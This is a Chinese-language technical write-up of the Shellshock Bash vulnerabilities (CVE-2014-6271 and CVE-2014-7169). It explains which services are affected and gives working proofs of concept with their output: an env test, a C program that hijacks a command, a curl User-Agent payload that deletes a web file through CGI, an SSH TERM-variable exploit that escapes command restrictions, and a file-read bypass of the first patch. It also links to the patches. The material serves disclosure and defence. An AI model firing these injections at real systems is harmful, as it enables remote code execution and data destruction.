0x00 什么是BASH
Bourne Again Shell(简称BASH）是在GNU/Linux上最流行的SHELL实现，于1980年诞生，经过了几十年的进化从一个简单的终端命令行解释器演变成了和GNU系统深 度整合的多功能接口。
0x01 CVE-2014-6271
法国GNU/Linux爱好者Stéphane Chazelas于2014年9月中旬发现了著名的SHELL实)的一个漏洞，你可以通过构造环境变量的值来执行你想要执行的脚本代码，据报道称，这个漏洞能影响众多的运行在GNU/Linux上的会跟BASH交互的应用程序，包括:
在sshd配置中使用了ForceCommand用以限制远程用户执行命令，这个漏洞可以绕过限制去执行任何命令。一些Git和Subversion部署环境的限制Shell也会出现类似情况，OpenSSH通常用法没有问题。
Apache服务器使用mod_cgi或者mod_cgid，如果CGI脚本在BASH或者运行在子SHELL里都会受影响。子Shell中使用C的system/popen，Python中使用os.system/os.popen，PHP中使用system/exec(CGI模式)和Perl中使用open/system的情况都会受此漏洞影响。
PHP脚本执行在mod_php不会受影响。
DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用。
守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也可能受到影响。
任何其他程序执行SHELL脚本时用BASH作为解释器都可能受影响。Shell脚本不导出的情况下不会受影响。
OpenSSH, Apache2, php, dhcp client甚至带SUID的程序。
1，本地SHELL环境中测试是否有漏洞：$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果存在漏洞会打印"vulnerable"。
2，C程序：-----------------------------------------------------------------------------
/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include <unistd.h>
#include <stdio.h>
int main()
{
char *envp[] = {
"PATH=/bin:/usr/bin",
"/usr/bin/id=() { "
"echo pwn me twice, shame on me; }; "
"echo pwn me once, shame on you",
NULL
};
char *argv[] = { "/bin/bash", NULL };
execve(argv[0], argv, envp);
perror("execve");
return 1;
}
测试：
[email protected]:~$ gcc -o bash-is-fun bash-is-fun.c
[email protected]:~$ ./bash-is-fun
pwn me once, shame on you
[email protected]:/home/je$ /usr/bin/id
pwn me twice, shame on me
这个POC中可以看出BASH根本就没有去处理结尾，后面我们可以通过补丁来看为什么。
3，INVISIBLETHREAT上对于HTTP环境的测试：创建一个脚本叫poc.cgi:
#!/bin/bash
echo "Content-type: text/html"
echo ""
echo '<html>'
echo '<head>'
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'
echo '<title>PoC</title>'
echo '</head>'
echo '<body>'
echo '<pre>'
/usr/bin/env
echo '</pre>'
echo '</body>'
echo '</html>'
exit 0
把脚本放入测试机后，输入：
$ curl http://192.168.0.1/poc.cgi<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>PoC</title>
</head>
<body>
<pre>
SERVER_SIGNATURE=<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
HTTP_USER_AGENT=curl/7.26.0
SERVER_PORT=80
HTTP_HOST=192.168.0.1
DOCUMENT_ROOT=/var/www
SCRIPT_FILENAME=/var/www/poc.cgi
REQUEST_URI=/poc.cgi
SCRIPT_NAME=/poc.cgi
REMOTE_PORT=40974
PATH=/usr/local/bin:/usr/bin:/bin
PWD=/var/www
[email protected]
HTTP_ACCEPT=*/*
REMOTE_ADDR=192.168.0.1
SHLVL=1
SERVER_NAME=192.168.0.1
SERVER_SOFTWARE=Apache/2.2.22 (Debian)
QUERY_STRING=
SERVER_ADDR=192.168.0.1
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
_=/usr/bin/env
</pre>
</body>
</html>
再来试试使用curl设置一个user-agent玩玩：
$ curl -A "() { :; }; /bin/rm /var/www/target" http://192.168.0.1/poc.cgi
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>500 Internal Server Error</title>
</head><body>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error or
misconfiguration and was unable to complete
your request.</p>
<p>Please contact the server administrator,
[email protected] and inform them of the time the error occurred,
and anything you might have done that may have
caused the error.</p>
<p>More information about this error may be available
in the server error log.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>
上面已经把/var/www/target给删除了，再来看看：
$ curl http://192.168.0.1/target
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /target was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Debian) Server at 192.168.0.1 Port 80</address>
</body></html>
这个例子当中，内容被传入 HTTP_USER_AGENT (CGI 会把HTTP头当成环境变量解析). 最终变成这样：
HTTP_USER_AGENT() {
:;
};
/bin/rm /var/www/target
应该只解析函数的定义，但是后面的内容仍然执行了。
4, 针对OpenSSH的POC目前有2个攻击平面，Solar Designer给出了SSH_ORIGINAL_COMMAND的本地利用方法：
seclists.org/oss-sec/2014/q3/651
还有就是针对远程利用的POC，通过利用TERM：
在机器A上生成一对RSA key pair:
[email protected]:~/.ssh$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/shawn/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/shawn/.ssh/id_rsa.
Your public key has been saved in /home/shawn/.ssh/id_rsa.pub.
The key fingerprint is:
09:1c:92:fb:c5:68:f8:e1:b9:c2:62:a8:c7:75:5b:dc [email protected]
The key's randomart image is:
+--[ RSA 2048]----+
| ... |
| .o . |
| ooo |
| o +.o. |
| = =S. |
| . * o E |
| o o . + |
|. = o o |
|oo . . |
+-----------------+
把A的公钥拷贝到机器B上：
$cat /home/shawn/.ssh/authorized_keys
command="/tmp/ssh.sh" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9xYHEdjbbvSO+RAtDS3u+R4sD87SUQq5OZJ+6P5n3BoOz8eKfmK2B4qQa28uGvpseFSSXIoXTKdeS3mCXevbibGG6E3RQ63U7USrh9iQupO6c45Qt+3/WOo7X3mRlZ1awUmCjurcA5Zm/yOvyMJCoRd1kpkiJljgHtMztEhWvAE4inFkqyWC81SSfsvNd/GEiyCpFw84UTdF/cH626V3V73hlxwBMd8UKI27I7ATMOcPgWsI5738tLpgPDSisvZZXZNlxAfvSgpxKYAHOQ9VsaJCG4q+Giob5iX4IDzn8gs8G7uGW+EGhzTMq83f/8ar5a5Ex8Dg9M/loYPIPp5gJ [email protected]
一个用于控制command/SSH_ORIGINAL_COMMAND的脚本
[email protected]:~/.ssh> cat /tmp/ssh.sh
#!/bin/sh
case "$SSH_ORIGINAL_COMMAND" in
"ps")
ps -ef
;;
"vmstat")
vmstat 1 100
;;
"cups stop")
/etc/init.d/cupsys stop
;;
"cups start")
/etc/init.d/cupsys start
;;
*)
echo "Sorry. Only these commands are available to you:"
echo "ps, vmstat, cupsys stop, cupsys start"
#exit 1
;;
esac
机器A上可以正常的使用限制脚本:
[email protected]:~/.ssh$ export SSH_ORIGINAL_COMMAND="ps"
[email protected]:~/.ssh$ ssh [email protected] $SSH_ORIGINAL_COMMAND
Enter passphrase for key '/home/shawn/.ssh/id_rsa':
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 16:47 ? 00:00:02 /sbin/init showopts
root 2 0 0 16:47 ? 00:00:00 [kthreadd]
root 3 2 0 16:47 ? 00:00:00 [ksoftirqd/0]
借助TERM来利用：
[email protected]:~$ export TERM='() { :;}; id'; ssh [email protected]
Enter passphrase for key '/home/shawn/.ssh/id_rsa':
uid=1000(shawn) gid=100(users) groups=100(users)
Connection to 192.168.115.129 closed.
0x02 补丁和后续
从最早GNU/Linux发行版社区收到的补丁：
https://bugzilla.novell.com/attachment.cgi?id=606672
可以看出BASH的确没有做异常处理，而直接解析后就执行了。
正式的社区补丁在这里：
http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017 http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018 http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039 http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012 http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048 http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025
但由于补丁修复的不完整，导致了CVE-2014-7169的爆出,POC如下：
[email protected] /tmp $ date -u > test_file
[email protected] /tmp $ env X='() { (a)=<' bash -c 'test_file cat'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
Thu Sep 25 09:37:04 UTC 2014
这个POC可以让攻击者能读文件，看来后续的故事还没结束...................
[1] BASH [2] Bash specially-crafted environment variables code injection attack [3] CVE-2014-6271 [4] CVE-2014-7169 [5] CVE-2014-6271: remote code execution through bash
